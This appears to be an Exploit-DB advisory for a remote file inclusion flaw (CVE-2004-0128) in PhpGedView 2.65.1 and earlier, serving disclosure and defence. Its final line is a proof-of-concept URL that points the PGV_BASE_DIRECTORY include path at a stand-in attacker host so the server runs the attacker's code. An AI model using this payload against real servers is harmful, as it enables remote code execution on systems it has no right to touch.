PHPGedView 2.x - '[GED_File]_conf.php' Remote File Inclusion

Author: Cedric Cochin
type: webapps
platform: php
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date_added: 2004-01-30 
date_updated: 2012-12-24 
verified: 1 
codes: CVE-2004-0128;OSVDB-3769 
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source: https://www.securityfocus.com/bid/9531/info

It has been reported that PhpGedView may be prone to a remote file include vulnerability that may allow an attacker to include malicious files containing arbitrary code to be executed on a vulnerable system. The problem reportedly exists because remote users may influence the 'PGV_BASE_DIRECTORY' variable in the [GED_File]_conf.php module, which specifies an include path.

PhpGedView versions 2.65.1 and prior have been reported to be prone to this issue.

http://www.example.com/[phpGedView-directory]/index/[GED_File]_conf.php?PGV_BASE_DIRECTORY=http://attacker&THEME_DIR=/